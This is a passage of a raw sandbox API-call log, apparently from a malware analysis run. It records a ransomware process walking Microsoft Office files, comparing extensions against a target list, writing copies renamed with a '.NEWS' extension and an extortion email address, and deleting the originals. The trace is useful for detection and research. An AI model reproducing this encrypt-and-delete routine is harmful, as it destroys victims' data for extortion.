lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0166.764] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-private-l1-1-0.dll") returned 79 [0166.764] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-private-l1-1-0.dll") returned 79 [0166.764] lstrlenW (lpString=".doc") returned 4 [0166.764] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0166.764] lstrlenW (lpString=".docx") returned 5 [0166.764] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0166.764] lstrlenW (lpString=".pdf") returned 4 [0166.764] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0166.764] lstrlenW (lpString=".xls") returned 4 [0166.764] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0166.764] lstrlenW (lpString=".xlsx") returned 5 [0166.764] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0166.764] lstrlenW (lpString=".ppt") returned 4 [0166.764] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0166.764] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-private-l1-1-0.dll") returned 79 [0166.764] lstrlenW (lpString=".zip") returned 4 [0166.764] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0166.764] lstrlenW (lpString=".rar") returned 4 [0166.764] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0166.764] lstrlenW (lpString=".bz2") returned 4 [0166.764] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0166.764] lstrlenW (lpString=".7z") returned 3 [0166.764] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0166.764] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-private-l1-1-0.dll") returned 79 [0166.764] lstrlenW (lpString=".dbf") returned 4 [0166.764] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0166.764] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-private-l1-1-0.dll") returned 79 [0166.764] lstrlenW (lpString=".1cd") returned 4 [0166.764] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0166.764] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-private-l1-1-0.dll") returned 79 [0166.765] lstrlenW (lpString=".jpg") returned 4 [0166.765] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0166.765] lstrcmpiW (lpString1=".dll", lpString2=".NEWS") returned -1 [0166.765] lstrlenW (lpString="api-ms-win-crt-process-l1-1-0.dll") returned 33 [0166.765] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-process-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-crt-process-l1-1-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0166.766] GetFileSizeEx (in: hFile=0x3ac, lpFileSize=0x335ff14 | out: lpFileSize=0x335ff14*=19648) returned 1 [0166.766] CloseHandle (hObject=0x3ac) returned 1 [0166.766] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-process-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-crt-process-l1-1-0.dll")) returned 0x220 [0166.766] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-process-l1-1-0.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-crt-process-l1-1-0.dll.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0166.767] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-process-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-crt-process-l1-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0166.767] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-process-l1-1-0.dll") returned 79 [0166.767] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-process-l1-1-0.dll") returned 79 [0166.767] lstrlenW (lpString=".doc") returned 4 [0166.767] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0166.767] lstrlenW (lpString=".docx") returned 5 [0166.767] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0166.767] lstrlenW (lpString=".pdf") returned 4 [0166.767] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0166.767] lstrlenW (lpString=".xls") returned 4 [0166.767] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0166.767] lstrlenW (lpString=".xlsx") returned 5 [0166.767] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0166.767] lstrlenW (lpString=".ppt") returned 4 [0166.767] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0166.767] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-process-l1-1-0.dll") returned 79 [0166.767] lstrlenW (lpString=".zip") returned 4 [0166.767] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0166.767] lstrlenW (lpString=".rar") returned 4 [0166.767] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0166.767] lstrlenW (lpString=".bz2") returned 4 [0166.767] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0166.767] lstrlenW (lpString=".7z") returned 3 [0166.767] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0166.767] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-process-l1-1-0.dll") returned 79 [0166.767] lstrlenW (lpString=".dbf") returned 4 [0166.767] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0166.767] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-process-l1-1-0.dll") returned 79 [0166.767] lstrlenW (lpString=".1cd") returned 4 [0166.767] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0166.767] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-process-l1-1-0.dll") returned 79 [0166.768] lstrlenW (lpString=".jpg") returned 4 [0166.768] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0166.768] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-process-l1-1-0.dll") returned 79 [0166.768] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-process-l1-1-0.dll") returned 79 [0166.768] lstrlenW (lpString=".doc") returned 4 [0166.768] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0166.768] lstrlenW (lpString=".docx") returned 5 [0166.768] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0166.768] lstrlenW (lpString=".pdf") returned 4 [0166.768] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0166.768] lstrlenW (lpString=".xls") returned 4 [0166.768] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0166.768] lstrlenW (lpString=".xlsx") returned 5 [0166.768] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0166.768] lstrlenW (lpString=".ppt") returned 4 [0166.768] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0166.768] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-process-l1-1-0.dll") returned 79 [0166.768] lstrlenW (lpString=".zip") returned 4 [0166.768] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0166.768] lstrlenW (lpString=".rar") returned 4 [0166.768] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0166.768] lstrlenW (lpString=".bz2") returned 4 [0166.768] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0166.768] lstrlenW (lpString=".7z") returned 3 [0166.768] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0166.768] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-process-l1-1-0.dll") returned 79 [0166.768] lstrlenW (lpString=".dbf") returned 4 [0166.768] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0166.768] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-process-l1-1-0.dll") returned 79 [0166.768] lstrlenW (lpString=".1cd") returned 4 [0166.768] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0166.768] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-process-l1-1-0.dll") returned 79 [0166.768] lstrlenW (lpString=".jpg") returned 4 [0166.768] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0166.769] lstrcmpiW (lpString1=".dll", lpString2=".NEWS") returned -1 [0166.769] lstrlenW (lpString="api-ms-win-crt-runtime-l1-1-0.dll") returned 33 [0166.769] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-runtime-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-crt-runtime-l1-1-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0166.770] GetFileSizeEx (in: hFile=0x3ac, lpFileSize=0x335ff14 | out: lpFileSize=0x335ff14*=23232) returned 1 [0166.770] CloseHandle (hObject=0x3ac) returned 1 [0166.770] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-runtime-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-crt-runtime-l1-1-0.dll")) returned 0x220 [0166.770] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-runtime-l1-1-0.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-crt-runtime-l1-1-0.dll.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0166.770] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-runtime-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-crt-runtime-l1-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0166.770] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-runtime-l1-1-0.dll") returned 79 [0166.770] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-runtime-l1-1-0.dll") returned 79 [0166.770] lstrlenW (lpString=".doc") returned 4 [0166.771] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0166.771] lstrlenW (lpString=".docx") returned 5 [0166.771] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0166.771] lstrlenW (lpString=".pdf") returned 4 [0166.771] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0166.771] lstrlenW (lpString=".xls") returned 4 [0166.771] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0166.771] lstrlenW (lpString=".xlsx") returned 5 [0166.771] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0166.771] lstrlenW (lpString=".ppt") returned 4 [0166.771] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0166.771] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-runtime-l1-1-0.dll") returned 79 [0166.771] lstrlenW (lpString=".zip") returned 4 [0166.771] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0166.771] lstrlenW (lpString=".rar") returned 4 [0166.771] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0166.771] lstrlenW (lpString=".bz2") returned 4 [0166.771] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0166.771] lstrlenW (lpString=".7z") returned 3 [0166.771] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0166.771] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-runtime-l1-1-0.dll") returned 79 [0166.771] lstrlenW (lpString=".dbf") returned 4 [0166.771] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0166.777] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\client\\mfc140u.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\mfc140u.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\client\\mfc140u.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\client\\mfc140u.dll.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0 [0166.783] GetFileSizeEx (in: hFile=0x3ac, lpFileSize=0x335ff14 | out: lpFileSize=0x335ff14*=7384) returned 1 [0166.783] CloseHandle (hObject=0x3ac) returned 1 [0166.783] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BABY_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\baby_01.mid")) returned 0x220 [0166.783] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BABY_01.MID.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\baby_01.mid.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0166.784] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BABY_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\baby_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0166.785] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0166.785] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0166.785] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BABY_01.MID.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\baby_01.mid.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4dc [0166.923] GetLastError () returned 0x0 [0166.923] ReadFile (in: hFile=0x3ac, lpBuffer=0x3d73020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x335fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d73020*, lpNumberOfBytesRead=0x335fecc*=0x1cd8, lpOverlapped=0x0) returned 1 [0166.955] WriteFile (in: hFile=0x4dc, lpBuffer=0x3d73020*, nNumberOfBytesToWrite=0x1ce0, lpNumberOfBytesWritten=0x335fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d73020*, lpNumberOfBytesWritten=0x335fc94*=0x1ce0, lpOverlapped=0x0) returned 1 [0166.957] ReadFile (in: hFile=0x3ac, lpBuffer=0x3d73020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x335fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d73020*, lpNumberOfBytesRead=0x335fecc*=0x0, lpOverlapped=0x0) returned 1 [0166.957] WriteFile (in: hFile=0x4dc, lpBuffer=0x3d73020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x335fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d73020*, lpNumberOfBytesWritten=0x335fc94*=0xea, lpOverlapped=0x0) returned 1 [0166.957] SetEndOfFile (hFile=0x4dc) returned 1 [0166.957] CloseHandle (hObject=0x4dc) returned 1 [0166.957] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0166.957] SetEndOfFile (hFile=0x3ac) returned 1 [0166.960] CloseHandle (hObject=0x3ac) returned 1 [0166.961] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BABY_01.MID.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0166.967] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BABY_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\baby_01.mid")) returned 1 [0166.968] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BABY_01.MID") returned 67 [0166.968] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BABY_01.MID") returned 67 [0166.968] lstrlenW (lpString=".doc") returned 4 [0166.968] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0166.968] lstrlenW (lpString=".docx") returned 5 [0166.968] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0166.968] lstrlenW (lpString=".pdf") returned 4 [0166.968] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0166.968] lstrlenW (lpString=".xls") returned 4 [0166.968] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0166.968] lstrlenW (lpString=".xlsx") returned 5 [0166.968] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0166.968] lstrlenW (lpString=".ppt") returned 4 [0166.968] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0166.968] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BABY_01.MID") returned 67 [0166.968] lstrlenW (lpString=".zip") returned 4 [0166.968] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0166.968] lstrlenW (lpString=".rar") returned 4 [0166.969] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0166.969] lstrlenW (lpString=".bz2") returned 4 [0166.969] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0166.969] lstrlenW (lpString=".7z") returned 3 [0166.969] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0166.969] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BABY_01.MID") returned 67 [0166.969] lstrlenW (lpString=".dbf") returned 4 [0166.969] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0166.969] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BABY_01.MID") returned 67 [0166.969] lstrlenW (lpString=".1cd") returned 4 [0166.969] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0166.969] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BABY_01.MID") returned 67 [0166.969] lstrlenW (lpString=".jpg") returned 4 [0166.969] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0166.969] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BABY_01.MID") returned 67 [0166.969] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BABY_01.MID") returned 67 [0166.969] lstrlenW (lpString=".doc") returned 4 [0166.969] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0166.969] lstrlenW (lpString=".docx") returned 5 [0166.969] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0166.969] lstrlenW (lpString=".pdf") returned 4 [0166.969] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0166.969] lstrlenW (lpString=".xls") returned 4 [0166.969] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0166.969] lstrlenW (lpString=".xlsx") returned 5 [0166.969] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0166.969] lstrlenW (lpString=".ppt") returned 4 [0166.970] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0166.970] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BABY_01.MID") returned 67 [0166.970] lstrlenW (lpString=".zip") returned 4 [0166.970] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0166.970] lstrlenW (lpString=".rar") returned 4 [0166.970] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0166.970] lstrlenW (lpString=".bz2") returned 4 [0166.970] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0166.970] lstrlenW (lpString=".7z") returned 3 [0166.970] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0166.970] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BABY_01.MID") returned 67 [0166.970] lstrlenW (lpString=".dbf") returned 4 [0166.970] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0166.970] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BABY_01.MID") returned 67 [0166.970] lstrlenW (lpString=".1cd") returned 4 [0166.970] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0166.970] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BABY_01.MID") returned 67 [0166.970] lstrlenW (lpString=".jpg") returned 4 [0166.970] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0166.970] lstrcmpiW (lpString1=".MID", lpString2=".NEWS") returned -1 [0166.970] lstrlenW (lpString="CMNTY_01.MID") returned 12 [0166.970] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CMNTY_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\cmnty_01.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0166.972] GetFileSizeEx (in: hFile=0x3ac, lpFileSize=0x335ff14 | out: lpFileSize=0x335ff14*=6970) returned 1 [0166.972] CloseHandle (hObject=0x3ac) returned 1 [0166.972] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CMNTY_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\cmnty_01.mid")) returned 0x220 [0166.972] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CMNTY_01.MID.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\cmnty_01.mid.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0166.972] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CMNTY_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\cmnty_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0166.973] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0166.973] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0166.973] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CMNTY_01.MID.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\cmnty_01.mid.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4dc [0166.974] GetLastError () returned 0x0 [0166.974] ReadFile (in: hFile=0x3ac, lpBuffer=0x3d73020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x335fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d73020*, lpNumberOfBytesRead=0x335fecc*=0x1b3a, lpOverlapped=0x0) returned 1 [0166.976] WriteFile (in: hFile=0x4dc, lpBuffer=0x3d73020*, nNumberOfBytesToWrite=0x1b40, lpNumberOfBytesWritten=0x335fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d73020*, lpNumberOfBytesWritten=0x335fc94*=0x1b40, lpOverlapped=0x0) returned 1 [0166.977] ReadFile (in: hFile=0x3ac, lpBuffer=0x3d73020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x335fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d73020*, lpNumberOfBytesRead=0x335fecc*=0x0, lpOverlapped=0x0) returned 1 [0166.977] WriteFile (in: hFile=0x4dc, lpBuffer=0x3d73020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x335fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d73020*, lpNumberOfBytesWritten=0x335fc94*=0xec, lpOverlapped=0x0) returned 1 [0166.977] SetEndOfFile (hFile=0x4dc) returned 1 [0166.978] CloseHandle (hObject=0x4dc) returned 1 [0166.978] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0166.978] SetEndOfFile (hFile=0x3ac) returned 1 [0166.980] CloseHandle (hObject=0x3ac) returned 1 [0166.981] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CMNTY_01.MID.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0166.981] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CMNTY_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\cmnty_01.mid")) returned 1 [0166.982] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CMNTY_01.MID") returned 68 [0166.982] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CMNTY_01.MID") returned 68 [0166.982] lstrlenW (lpString=".doc") returned 4 [0166.982] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0166.982] lstrlenW (lpString=".docx") returned 5 [0166.982] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0166.982] lstrlenW (lpString=".pdf") returned 4 [0166.982] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0166.982] lstrlenW (lpString=".xls") returned 4 [0166.982] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0166.982] lstrlenW (lpString=".xlsx") returned 5 [0166.982] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0166.982] lstrlenW (lpString=".ppt") returned 4 [0166.982] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0166.982] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CMNTY_01.MID") returned 68 [0166.982] lstrlenW (lpString=".zip") returned 4 [0166.982] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0166.982] lstrlenW (lpString=".rar") returned 4 [0166.982] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0166.982] lstrlenW (lpString=".bz2") returned 4 [0166.982] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0166.982] lstrlenW (lpString=".7z") returned 3 [0166.982] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0166.983] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CMNTY_01.MID") returned 68 [0166.983] lstrlenW (lpString=".dbf") returned 4 [0166.983] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0166.983] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CMNTY_01.MID") returned 68 [0166.983] lstrlenW (lpString=".1cd") returned 4 [0166.983] lstrcmpiW 